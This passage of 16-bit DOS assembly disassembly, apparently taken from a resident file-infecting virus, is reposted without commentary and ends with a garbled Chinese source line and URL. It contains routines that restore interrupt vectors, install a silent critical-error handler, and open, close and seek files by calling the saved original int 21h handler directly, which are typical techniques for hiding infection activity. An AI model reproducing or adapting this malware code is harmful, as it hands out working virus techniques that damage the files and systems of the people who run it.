
mov ah,50h ; 'P'

mov bx,ds:data_7e ; (0046:0016=0)

int 21h ; DOS Services ah=function 50h

; set active PSP segmnt from bx

mov ax,2522h

lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr

int 21h ; DOS Services ah=function 25h

; set intrpt vector al to ds:dx

call sub_25 ; (0896)

popf ; Pop flags

retn

sub_13 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_14 proc near

mov si,dx

cmp byte ptr [si],0FFh

jne loc_ret_80 ; Jump if not equal

add si,7

loc_ret_80:

retn

sub_14 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_15 proc near

call sub_24 ; (0884)

call sub_14 ; (0814)

push cs

pop es

mov dx,904h

mov di,dx

cld ; Clear direction

lodsb ; String [si] to al

or al,al ; Zero ?

jz loc_81 ; Jump if zero

add al,40h ; '@'

mov ah,3Ah ; ':'

stosw ; Store ax to es:[di]

loc_81:

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

movsw ; Mov [si] to es:[di]

mov al,2Eh ; '.'

stosb ; Store al to es:[di]

movsw ; Mov [si] to es:[di]

movsb ; Mov [si] to es:[di]

xor al,al ; Zero register

stosb ; Store al to es:[di]

push es

pop ds

call sub_3 ; (0519)

call sub_25 ; (0896)

retn

sub_15 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_16 proc near

push ax

mov ax,cs

jmp short loc_82 ; (0854)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_17:

push ax

xor ax,ax ; Zero register

loc_82:

push bx

push ds

mov bx,cs

dec bx

mov ds,bx

mov ds:data_16e,ax ; (8343:0001=0FFFFh)

pop ds

pop bx

pop ax

retn

sub_16 endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_18 proc near

mov ax,3D00h

jmp short loc_83 ; (0879)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_19:

mov ah,3Eh ; '>'

jmp short loc_83 ; (0879)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_20:

mov ax,4200h

jmp short loc_83 ; (0879)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_21:

mov ax,4202h

jmp short loc_83 ; (0879)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_22:

push word ptr [bp+6]

popf ; Pop flags

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_23:

loc_83:

pushf ; Push flags

cli ; Disable interrupts

call dword ptr cs:data_20 ; (8344:08AB=0)

retn

sub_18 endp

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

;

; External Entry Point

;

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

int_24h_entry proc far

mov al,3

int_24h_entry endp

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

;

; External Entry Point

;

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

int_23h_entry proc far

iret ; Interrupt return

int_23h_entry endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; SUBROUTINE

;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_24 proc near

pop cs:data_32 ; (8344:08C7=0)

push ds

push dx

push es

push bx

push ax

push cx

push si

push di

push bp

mov bp,sp

jmp short loc_84 ; (08A6)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_25:

pop cs:data_32 ; (8344:08C7=0)

mov sp,bp

pop bp

pop di

pop si

pop cx

pop ax

pop bx

pop es

pop dx

pop ds

loc_84:

jmp word ptr cs:data_32 ; (8344:08C7=0)

data_20 dd 00000h

data_21 dd 00000h

data_22 dw 0, 8344h

data_24 dw 0, 8344h

data_26 dw 0, 8344h

data_28 dw 0, 8344h

data_30 dw 0, 8344h

data_32 dw 0

data_33 db 0

data_34 dw 0

data_35 dw 0

data_36 dw 0

data_37 dw 0

data_38 dw 0

data_39 dw 0

db 12 dup (0)

data_41 dw 0

data_42 dw 0

data_43 dd 00000h

data_45 dw 0

db 0, 0, 0, 0

data_46 dw 0

data_47 dw 0

db 10 dup (0)

data_48 dw 0

sub_24 endp

seg_a ends

end start

±¾ÎĵØÖ·£ºhttp://com.8s8s.com/it/it29983.htm